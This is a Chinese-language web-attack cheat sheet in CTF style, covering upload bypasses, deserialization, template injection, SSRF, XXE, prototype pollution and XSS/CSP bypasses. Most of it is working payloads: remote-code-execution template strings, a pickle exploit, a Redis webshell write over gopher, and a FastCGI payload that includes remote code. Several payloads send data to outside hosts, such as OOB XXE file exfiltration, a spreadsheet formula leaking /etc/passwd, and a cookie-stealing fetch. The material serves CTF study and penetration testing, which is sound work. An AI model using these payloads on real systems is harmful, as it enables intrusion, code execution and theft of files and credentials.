黑名單判斷副檔名

  • 大小寫繞過
    • pHP
    • AsP
  • 空格 / 點 / Null 繞過
    • Windows特性
    • .php(空格) // burp修改
    • .asp.
    • .php%00.jpg
  • php3457
    • .php3
    • .php4
    • .php5
    • .php7
    • .pht
    • .phtml
  • asp
    • asa
    • cer
    • cdx
  • aspx
    • ascx
    • ashx
    • asmx
    • asac
    • soap
    • svc
    • master
    • web.config
  • jsp
    • jspa
    • jspf
    • jspx
    • jsw
    • jsv
    • jtml
  • .htaccess

    1. <FilesMatch "kai">
    2. SetHandler application/x-httpd-php
    3. </FilesMatch>
  • .user.ini

    • 只要 fastcgi 運行的 php 都適用 (nginx/apache/iis)
    • 用戶自定義的設定檔
      • 可以設置 PHP_INI_PERDIRPHP_INI_USER 的設定
      • 可以動態載入,不用重啟
    • 使用前提: 該目錄下必須有php文件
    • auto_prepend_file=test.jpg
  • 文件解析漏洞
  • NTFS ADS
    • test.php:a.jpg
      • 生成 test.php
      • 空內容
    • test.php::$DATA
      • 生成 test.php
      • 內容不變
    • test.php::$INDEX_ALLOCATION
      • 生成 test.php 資料夾
    • test.php::$DATA.jpg
      • 生成 0.jpg
      • 內容不變
    • test.php::$DATA\aaa.jpg
      • 生成 aaa.jpg
      • 內容不變

Magic Number

  • jpg
    • FF D8 FF E0 00 10 4A 46 49 46
  • gif
    • 47 49 36 38 39 61
  • png
    • 89 50 4E 47

其他

  • 常見場景:配合文件解析漏洞
  • 超長檔名截斷

反序列化

PHP - Serialize() / Unserialize()

  • __construct()
    • Object被new時調用,但unserialize()不調用
  • __destruct()
    • Object被銷毀時調用
  • __wakeup()
    • unserialize時自動調用
  • __sleep()
    • 被serialize時調用
  • __toString()
    • 物件被當成字串時調用
  • Value
    • String
      • s:size:value;
    • Integer
      • i:value;
    • Boolean
      • b:value; (‘1’ or ‘0’)
    • NULL
      • N;
    • Array
      • a:size:{key definition; value definition; (repeat per element)}
    • Object
      • O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
    • 其他
      • C - custom object
      • R - pointer reference
  • Public / Private / Protected 序列化
    • 例如:class名字為: Kaibro,變數名字: test
    • 若為Public,序列化後:
      • ...{s:4:"test";...}
    • 若為Private,序列化後:
      • ...{s:12:"%00Kaibro%00test"}
    • 若為Protected,序列化後:
      • ...{s:7:"%00*%00test";...}
    • Private和Protected會多兩個NULL byte

  • Example
  1. <?php
  2. class Kaibro {
  3. public $test = "ggininder";
  4. function __wakeup()
  5. {
  6. system("echo ".$this->test);
  7. }
  8. }
  9. $input = $_GET['str'];
  10. $kb = unserialize($input);
  • Input: .php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
  • Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Example 2 - Private
  1. <?php
  2. class Kaibro {
  3. private $test = "ggininder";
  4. function __wakeup()
  5. {
  6. system("echo ".$this->test);
  7. }
  8. }
  9. $input = $_GET['str'];
  10. $kb = unserialize($input);
  • Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}
  • Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Python Pickle

  • dumps() 將物件序列化成字串
  • loads() 將字串反序列化

Example:

a.py:

  1. import os
  2. import cPickle
  3. import sys
  4. import base64
  5. class Exploit(object):
  6. def __reduce__(self):
  7. return (os.system, ('id',))
  8. shellcode = cPickle.dumps(Exploit())
  9. print base64.b64encode(shellcode)

b.py:

  1. import os
  2. import cPickle
  3. import sys
  4. import base64
  5. s = raw_input(":")
  6. print cPickle.loads(base64.b64decode(s))
  1. $ python a.py > tmp
  2. $ cat tmp | python b.py
  3. uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
  • 補充: NumPy CVE-2019-6446 RCE
    • 影響 NumPy <=1.16.0
    • 底層使用 pickle

Ruby/Rails Marshal

this one is not self-executing

this one actually relies on rails invoking a method on the resulting object after the deserialization

  1. erb = ERB.allocate
  2. erb.instance_variable_set :@src, "`id`"
  3. depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
  4. hash = {depr => 'something'}
  5. marshalled = Marshal.dump(hash)
  6. print marshalled

在ERB上,當result或run method被call時,@src的string會被執行

  • 常見使用情境:
    • 以Marshal為Cookie Serializer時,若有secret_key,則可以偽造Cookie
    • 也可以透過DeprecatedInstanceVariableProxy去執行ERB的result來RCE
      • DeprecatedInstanceVariableProxy被unmarshal,rails session對他處理時遇到不認識的method就會呼叫method_missing,導致執行傳入的ERB
      • @instance.__send__(@method)
  • Cookie Serializer
    • Rails 4.1以前的Cookie Serializer為Marshal
    • Rails 4.1開始,默認使用JSON

Ruby/Rails YAML

  • CVE-2013-0156
    • 舊版本的Rails中,XML的node可以自訂type,如果指定為yaml,是會被成功解析的
    • 若反序列化!ruby/hash,則相當於在物件上調用obj[key]=val,也就是[]=方法
    • 而這個ActionDispatch::Routing::RouteSet::NamedRouteCollection中的[]=方法中,有一條代碼路徑可以eval
    • define_hash_access中可以看到module_eval,裏頭的selector來自name
    • 因為他還會對value調用defaults method,所以可以利用OpenStruct來構造
      • 函數名=>返回值的對應關係存放在@table
    • Payload: ```ruby xml = %{
      <?xml version=”1.0” encoding=”UTF-8”?>
      —-| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
      ‘test; sleep(10); test’ :
      !ruby/object:OpenStruct
      table:
      :defaults: {}

}.strip

  1. - CVE-2013-0333
  2. - Rails 2.3.x3.0.x中,允許`text/json`request轉成`YAML`解析
  3. - `Yaml`Rails 3.0.x是預設的`JSON Backend`
  4. - 出問題的地方在於`YAML.load`前的`convert_json_to_yaml`,他不會檢查輸入的JSON是否合法
  5. - 一樣可以透過`ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access``module_eval`RCE
  6. <a name="f191cf05"></a>
  7. ## Java Deserialization
  8. - 序列化資料特徵
  9. - `ac ed 00 05 ...`
  10. - `rO0AB ...` (Base64)
  11. - 反序列化觸發點
  12. - `readObject()`
  13. - `readExternal()`
  14. - ...
  15. - JEP290
  16. - Java 9 新特性,並向下支援到 8u121, 7u13, 6u141
  17. - 增加黑、白名單機制
  18. - Builtin Filter
  19. - JDK 包含了 Builtin Filter (白名單機制) RMI Registry RMI Distributed Garbage Collector
  20. - 只允許特定 class 被反序列化
  21. - 許多 RMI Payload 失效 (即便 classpath gadegt)
  22. - Codebase
  23. - JDK 6u45, 7u21 開始,`useCodebaseOnly` 預設為 true
  24. - 禁止自動載入遠端 class 文件
  25. - JDK 6u132, 7u122, 8u113 下,`com.sun.jndi.rmi.object.trustURLCodebase`, `com.sun.jndi.cosnaming.object.trustURLCodebase` 預設為 false
  26. - RMI 預設不允許從遠端 Codebase 載入 Reference class
  27. - JDK 11.0.1, 8u191, 7u201, 6u211 後,`com.sun.jndi.ldap.object.trustURLCodebase` 預設為 false
  28. - LDAP 預設不允許從遠端 Codebase 載入 Reference class
  29. - Tool
  30. - [yososerial](https://github.com/frohoff/ysoserial)
  31. - URLDNS: 不依賴任何額外library,可以用來做 dnslog 驗證
  32. - CommonCollections 1~7: Common collections 各版本 gadget chain
  33. - ...
  34. - [BaRMIe](https://github.com/NickstaDB/BaRMIe)
  35. - 專打 Java RMI (enumerating, attacking)
  36. - [marshalsec](https://github.com/mbechler/marshalsec)
  37. - [SerializationDumper](https://github.com/NickstaDB/SerializationDumper)
  38. - 分析 Serialization Stream,如Magic頭、serialVersionUIDnewHandle
  39. - [gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)
  40. - Bytecode Analyzer
  41. - gadget chain
  42. - [GadgetProbe](https://github.com/BishopFox/GadgetProbe)
  43. - 透過字典檔配合DNS callback,判斷環境使用哪些library, class等資訊
  44. - [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet)
  45. - Example
  46. - [0CTF 2021 Qual - 2rm1](https://github.com/ceclin/0ctf-2021-2rm1-soln)
  47. - [0CTF 2019 Final - hotel booking system](https://balsn.tw/ctf_writeup/20190608-0ctf_tctf2019finals/#tctf-hotel-booking-system)
  48. - [TrendMicro CTF 2018 Qual - Forensics 300](https://github.com/balsn/ctf_writeup/tree/master/20180914-trendmicroctf#300-3)
  49. - [TrendMicro CTF 2019 Qual - Forensics 300](https://github.com/w181496/CTF/tree/master/trendmicro-ctf-2019/forensics300)
  50. - TrendMicro CTF 2019 Final - RMIart
  51. <a name="6f9b7664"></a>
  52. ## .NET Derserialization
  53. - Tool
  54. - [ysoserial.net](https://github.com/pwntester/ysoserial.net)
  55. - asp.net ViewState 以序列化形式保存資料
  56. - machinekey viewstate 未加密/驗證時,有機會 RCE
  57. - Example
  58. - [HITCON CTF 2018 - Why so Serials?](https://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/)
  59. <a name="SSTI"></a>
  60. # SSTI
  61. Server-Side Template Injection
  62. ![](https://i.imgur.com/GVZeVq6.png#id=vcWTV&originalType=binary&ratio=1&status=done&style=none)
  63. <a name="Testing"></a>
  64. ## Testing
  65. - `{{ 7*'7' }}`
  66. - Twig: `49`
  67. - Jinja2: `7777777`
  68. - `<%= 7*7 %>`
  69. - Ruby ERB: `49`
  70. <a name="530362f0"></a>
  71. ## Flask/Jinja2
  72. - Dump all used classes
  73. - `{{ ''.__class__.__mro__[2].__subclasses__() }}`
  74. - Read File
  75. - `{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}`
  76. - Write File
  77. - `{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}`
  78. - RCE
  79. - `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}`
  80. - evil config
  81. - `{{ config.from_pyfile('/tmp/evilconfig.cfg') }}`
  82. - load config
  83. - `{{ config['RUNCMD']('cat flag',shell=True) }}`
  84. - RCE (another way)
  85. - `{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}`
  86. - Python3 RCE
  87. -
  88. ```python
  89. {% for c in [].__class__.__base__.__subclasses__() %}
  90. {% if c.__name__ == 'catch_warnings' %}
  91. {% for b in c.__init__.__globals__.values() %}
  92. {% if b.__class__ == {}.__class__ %}
  93. {% if 'eval' in b.keys() %}
  94. {{ b['eval']('__import__("os").popen("id").read()') }}
  95. {% endif %}
  96. {% endif %}
  97. {% endfor %}
  98. {% endif %}
  99. {% endfor %}
  • 過濾中括號
    • __getitem__
    • {{''.__class__.__mro__.__getitem__(2)}}
      • {{''.__class__.__mro__[2]}}
  • 過濾{{ or }}
    • {%%}
    • 執行結果往外傳
  • 過濾.
    • {{''.__class__}}
      • {{''['__class__']}}
      • {{''|attr('__class__')}}
  • 過濾Keyword
    • \xff形式去繞
    • {{''["\x5f\x5fclass\x5f\x5f"]}}
  • 用request繞
    • {{''.__class__}}
      • {{''[request.args.kaibro]}}&kaibro=__class__

Twig / Symfony

  • RCE
    • {{['id']|map('passthru')}}
    • {{['id']|filter('system')}}
    • {{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}
    • {{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}
    • {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  • Read file
    • {{'/etc/passwd'|file_excerpt(30)}}
  • Version
    • {{constant('Twig\\Environment::VERSION')}}

thymeleaf

  • Java
  • Some payload
    • __${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x
    • __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
  • Example

AngularJS

  • v1.6後移除Sandbox
  • Payload
    • {{ 7*7 }} => 49
    • {{ this }}
    • {{ this.toString() }}
    • {{ constructor.toString() }}
    • {{ constructor.constructor('alert(1)')() }} 2.1 v1.0.1-v1.1.5
    • {{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }} 2.1 v1.0.1-v1.1.5
    • {{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }} 2.3 v1.2.19-v1.2.23
    • {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} v1.2.24-v1.2.29
    • {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} v1.3.20
    • {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} v1.4.0-v1.4.9
    • {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} v1.5.0-v1.5.8
    • {{ [].pop.constructor('alert(1)')() }} 2.8 v1.6.0-1.6.6

Vue.js

Python

  • %

    • 輸入%(passowrd)s即可偷到密碼:
      1. userdata = {"user" : "kaibro", "password" : "ggininder" }
      2. passwd = raw_input("Password: ")
      3. if passwd != userdata["password"]:
      4. print ("Password " + passwd + " is wrong for user %(user)s") % userdata
  • f

    • python 3.6
    • example
      • a="gg"
      • b=f"{a} ininder"
        • >>> gg ininder
    • example2
      • f"{os.system('ls')}"

Tool


http://blog.portswigger.net/2015/08/server-side-template-injection.html

SSRF

Bypass 127.0.0.1

  1. 127.0.0.1
  2. 127.00000.00000.0001
  3. localhost
  4. 127.0.1
  5. 127.1
  6. 0.0.0.0
  7. 0.0
  8. 0
  9. ::1
  10. ::127.0.0.1
  11. ::ffff:127.0.0.1
  12. ::1%1
  13. 127.12.34.56 (127.0.0.1/8)
  14. 127.0.0.1.xip.io
  15. http://2130706433 (decimal)
  16. http://0x7f000001
  17. http://017700000001
  18. http://0x7f.0x0.0x0.0x1
  19. http://0177.0.0.1
  20. http://0177.01.01.01
  21. http://0x7f.1
  22. http://[::]

Bypass using Ⓐ Ⓑ Ⓒ Ⓓ

  • http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ
  • http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

內網IP

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16

XSPA

  • port scan
    • 127.0.0.1:80 => OK
    • 127.0.0.1:87 => Timeout
    • 127.0.0.1:9487 => Timeout

302 Redirect Bypass

  • 用來繞過protocol限制
  • 第一次SSRF,網站有做檢查、過濾
  • 302跳轉做第二次SSRF沒有檢查

本地利用

  • file protocol
    • file:///etc/passwd
    • file:///proc/self/cmdline
      • 看他在跑啥
    • file:///proc/self/exe
      • dump binary
    • file:///proc/self/environ
      • 讀環境變數
    • curl file://google.com/etc/passwd
      • 新版已修掉
      • 實測libcurl 7.47可work
    • Java原生可列目錄 (netdoc亦可)
    • Perl/Ruby open Command Injection
  • Libreoffice CVE-2018-6871
    • 可以使用WEBSERVICE讀本地檔案,e.g./etc/passwd
    • 讀出來可以用http往外傳
      • =COM.MICROSOFT.WEBSERVICE(&quot;http://kaibro.tw/&quot;&amp;COM.MICROSOFT.WEBSERVICE(&quot;/etc/passwd&quot;))
      • e.g. DCTF 2018 final, FBCTF 2019
    • Example Payload: Link

遠程利用

  • Gopher
    • 可偽造任意TCP,hen蚌
    • gopher://127.0.0.1:5278/xGG%0d%0aININDER
  • 常見例子

    • Struts2
      • S2-016
        • action:redirect:redirectAction:
        • index.do?redirect:${new java.lang.ProcessBuilder('id').start()}
    • ElasticSearch
      • default port: 9200
    • Redis

      • default port: 6379
      • 用SAVE寫shell

        1. FLUSHALL
        2. SET myshell "<?php system($_GET['cmd']) ?>"
        3. CONFIG SET DIR /www
        4. CONFIG SET DBFILENAME shell.php
        5. SAVE
        6. QUIT
      • URLencoded payload:
        gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT

    • FastCGI
      • default port: 9000
      • example
        • Discuz Pwn
          • 302.php: <?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
          • x: <?php system($_GET['cmd']); ?>
          • visit: /forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
    • MySQL
    • Tomcat
    • Docker
      • Remote api未授權訪問
        • 開一個container,掛載/root/,寫ssh key
        • 寫crontab彈shell
        • docker -H tcp://ip xxxx
    • ImageMagick - CVE-2016-3718

      • 可以發送HTTP或FTP request
      • payload: ssrf.mvg

        1. push graphic-context
        2. viewbox 0 0 640 480
        3. fill 'url(http://example.com/)'
        4. pop graphic-context
      • $ convert ssrf.mvg out.png

Metadata

AWS

Google Cloud

Digital Ocean

Azure

Alibaba

CRLF injection

SMTP

SECCON 2017 SqlSRF:

127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/

FingerPrint

  • dict
  1. dict://evil.com:5566
  2. $ nc -vl 5566
  3. Listening on [0.0.0.0] (family 0, port 5278)
  4. Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
  5. CLIENT libcurl 7.35.0
  6. -> libcurl version
  • sftp
  1. sftp://evil.com:5566
  2. $ nc -vl 5566
  3. Listening on [0.0.0.0] (family 0, port 5278)
  4. Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
  5. SSH-2.0-libssh2_1.4.2
  6. -> ssh version
  • Content-Length
    • 送超大Content-length
    • 連線hang住判斷是否為HTTP Service

UDP

  • tftp
    • tftp://evil.com:5566/TEST
    • syslog

SSRF Bible:

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

Testing Payload:

https://github.com/cujanovic/SSRF-Testing

XXE

內部實體

  1. <!DOCTYPE kaibro[
  2. <!ENTITY param "hello">
  3. ]>
  4. <root>&param;</root>

外部實體

  1. <!DOCTYPE kaibro[
  2. <!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
  3. ]>
  4. <root>&xxe;</root>
  1. <!DOCTYPE kaibro[
  2. <!ENTITY xxe SYSTEM "file:///etc/passwd">
  3. ]>
  4. <root>&xxe;</root>

XXE on Windows

  1. <!DOCTYPE kaibro[
  2. <!ENTITY xxe SYSTEM "\\12.34.56.78">
  3. ]>
  4. <root>&xxe;</root>

參數實體

  1. <!DOCTYPE kaibro[
  2. <!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
  3. %remote;
  4. ]>
  5. <root>&b;</root>

xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">

Out of Band (OOB) XXE

  • Blind 無回顯
  1. <?xml version="1.0"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
  4. <!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
  5. %remote;
  6. %all;
  7. %send;
  8. ]>

xxe.dtd:

  1. <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://kaibro.tw/?a=%file;'>">

DoS

  • Billion Laugh Attack
  1. <!DOCTYPE data [
  2. <!ENTITY a0 "dos" >
  3. <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  4. <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  5. <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  6. <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  7. ]>
  8. <data>&a4;</data>

串Phar反序列化

  1. <?xml version="1.0" standalone="yes"?>
  2. <!DOCTYPE ernw [
  3. <!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
  4. <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  5. <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
  6. </svg>

Error-based XXE

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE message[
  3. <!ELEMENT message ANY >
  4. <!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
  5. <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
  6. &#x25;eval;
  7. &#x25;error;
  8. '>
  9. %NUMBER;
  10. ]>
  11. <message>a</message>

SOAP

  1. <soap:Body>
  2. <foo>
  3. <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
  4. </foo>
  5. </soap:Body>

其它

Prototype Pollution

  1. goodshit = {}
  2. goodshit.__proto__.password = "ggininder"
  3. user = {}
  4. console.log(user.password)
  5. # => ggininder
  1. let o1 = {}
  2. let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
  3. merge(o1, o2)
  4. console.log(o1.a, o1.b)
  5. # => 1 2
  6. o3 = {}
  7. console.log(o3.b)
  8. # => 2

jQuery

  • CVE-2019-11358
    • jQuery < 3.4.0
    • $.extend
      1. let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
      2. console.log({}.devMode); // true

Lodash

  • SNYK-JS-LODASH-608086
    • versions < 4.17.17
    • 觸發點: setWith(), set()
    • Payload:
      • setWith({}, "__proto__[test]", "123")
      • set({}, "__proto__[test2]", "456")
  • CVE-2020-8203
    • versions < 4.17.16
    • 觸發點: zipObjectDeep()
    • Payload: zipObjectDeep(['__proto__.z'],[123])
      • console.log(z) => 123
  • CVE-2019-10744
  • CVE-2018-16487 / CVE-2018-3721
    • versions < 4.17.11
    • 觸發點: merge(), mergeWith(), defaultsDeep()
      1. var _= require('lodash');
      2. var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
      3. var a = {};
      4. _.merge({}, JSON.parse(malicious_payload));

Misc

Frontend

XSS

Cheat Sheet

Basic Payload

  • <script>alert(1)</script>
  • <svg/onload=alert(1)>
  • <img src=# onerror=alert(1)>
  • <a href="javascript:alert(1)">g</a>
  • <input type="text" value="g" onmouseover="alert(1)" />
  • <iframe src="javascript:alert(1)"></iframe>

Testing

  • <script>alert(1)</script>
  • '"><script>alert(1)</script>
  • <img/src=@ onerror=alert(1)/>
  • '"><img/src=@ onerror=alert(1)/>
  • ' onmouseover=alert(1) x='
  • " onmouseover=alert(1) x="
  • onmouseover=alert(1) x=
  • javascript:alert(1)//
  • ….

繞過

  • //(javascript註解)被過濾時,可以利用算數運算符代替
    • <a href="javascript:alert(1)-abcde">xss</a>
  • HTML特性
    • 不分大小寫
      • <ScRipT>
      • <img SrC=#>
    • 屬性值
      • src="#"
      • src='#'
      • src=#
      • src=#`` (IE)
  • 編碼繞過
    • <svg/onload=alert(1)>
      • <svg/onload=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;> (16進位) (分號可去掉)
  • 繞空白
    • <img/src='1'/onerror=alert(0)>

其他

  • 特殊標籤
    • 以下標籤中的腳本無法執行
    • <title>, <textarea>, <iframe>, <plaintext>, <noscript>
  • 偽協議
    • javascript:
      • <a href=javascript:alert(1) >xss</a>
    • data:
      • <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
  • Javascript自解碼機制
    • <input type="button" onclick="document.write('&lt;img src=@ onerror=alert(1) /&gt;')" />
    • 會成功alert(1),因為javascript位於HTML中,在執行javascript前會先解碼HTML編碼
    • 但若是包在<script>中的javascript,不會解碼HTML編碼
    • 此編碼為HTML entity和&#xH;(hex), &#D;(dec)形式
  • Javascript中有三套編碼/解碼函數
    • escape/unescape
    • encodeURI/decodeURI
    • encodeURIComponent/decodeURICompinent
  • 一些alert(document.domain)的方法
  • Some Payload
    • <svg/onload=alert(1);alert(2)>
    • <svg/onload="alert(1);alert(2)">
    • <svg/onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;;alert(2)">
      • ;;改成;會失敗
      • 雙引號可去掉
      • 可10進位, 16進位混合
    • <svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
      • \u形式只能用在javascript,例如onload的a改成\u0061會失敗
    • <title><a href="</title><svg/onload=alert(1)>
      • title優先權較大,直接中斷其他標籤
    • <svg><script>prompt&#40;1)</script>
      • 因為<svg>,HTML Entities會被解析
      • 去掉<svg>會失敗,<script>不會解析Entities
    • <? foo="><script>alert(1)</script>">
    • <! foo="><script>alert(1)</script>">
    • </ foo="><script>alert(1)</script>">
    • <% foo="><script>alert(1)</script>">
  • Markdown XSS
    • [a](javascript:prompt(document.cookie))
    • [a](j a v a s c r i p t:prompt(document.cookie))
    • [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    • [a](javascript:window.onerror=alert;throw%201)
  • SVG XSS
  1. <?xml version="1.0" standalone="no"?>
  2. <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  3. <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  4. <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  5. <script type="text/javascript">
  6. alert(document.domain);
  7. </script>
  8. </svg>
  • iframe srcdoc XSS
  1. <iframe srcdoc="&#x3C;svg/&#x6f;nload=alert(document.domain)&#x3E;">
  • Polyglot XSS

    • Example: PlaidCTF 2018 wave XSS
    • 上傳.wave檔 (會檢查signatures)

      1. RIFF`....WAVE...`
      2. alert(1);
      3. function RIFF(){}
      • 變成合法的js語法
      • wave在apache mime type中沒有被定義
      • <script src="uploads/this_file.wave">

CSP evaluator

https://csp-evaluator.withgoogle.com/

Bypass CSP

  • base
    • 改變資源載入的域,引入惡意的js
    • <base href ="http://kaibro.tw/">
    • RCTF 2018 - rBlog
  • script nonce
    插入<script src="http//kaibro.tw/uccu.js" a="

    1. <p>可控內容<p>
    2. <script src="xxx" nonce="AAAAAAAAAAA"></script>
    1. <p><script src="http//kaibro.tw/uccu.js" a="<p>
    2. <script src="xxx" nonce="AAAAAAAAAAA"></script>
  • Script Gadget

    • https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
    • is an existing JS code on the page that may be used to bypass mitigations
    • Bypassing CSP strict-dynamic via Bootstrap
      • <div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
    • Bypassing sanitizers via jQuery Mobile
      • <div data-role=popup id='--><script>alert(1)</script>'></div>
    • Bypassing NoScript via Closure (DOM clobbering)
      • <a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
    • Bypassing ModSecurity CRS via Dojo Toolkit
      • <div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
    • Bypassing CSP unsafe-eval via underscore templates
      • <div type=underscore/template> <% alert(1) %> </div>
    • 0CTF 2018 - h4xors.club2
  • google analytics ea
    • ea is used to log actions and can contain arbitrary string
    • Google CTF 2018 - gcalc2

Upload XSS

  • htm
  • html
  • svg
  • xml
  • xsl
  • rdf
    • firefox only?
    • text/rdf / application/rdf+xml
  • vtt
    • IE/Edge only?
    • text/vtt
  • shtml
  • xhtml
  • mht / mhtml
  • var
  1. Content-language: en
  2. Content-type: text/html
  3. Body:----foo----
  4. <script>
  5. fetch('http://orange.tw/?' + escape(document.cookie))
  6. </script>
  7. ----foo----

Content-type

jQuery

  • $.getJSON / $.ajax XSS

Online Encoding / Decoding

JSFuck

aaencode / aadecode

RPO

  • http://example.com/a%2Findex.php
    • 瀏覽器會把a%2findex.php當成一個檔案
    • Web Server則會正常解析成a/index.php
    • 所以當使用相對路徑載入css時,就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
      • 如果該檔案內容可控,則有機會XSS
    • 舉例:
      • /test.php中有<link href="1/" ...>
      • 另有/1/index.php?query=參數,會直接輸出該參數內容
      • 訪問/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php就會讓背景變紅色
        • Server: /test.php
        • Browser: /1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
          • CSS會載入/1/?query={}*{background-color:red}/../../1/
        • CSS語法容錯率很高

CSS Injection

  • CSS可控時,可以Leak Information
  • Example:
    • leak <input type='hidden' name='csrf' value='2e3d04bf...'>
    • input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}
    • input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}
    • SECCON CTF 2018 - GhostKingdom

XS-Leaks

Frame count

  • 不同狀態有不同數量的frame
  • window.frames.length 來判斷
    • 狀態A => frame count = x
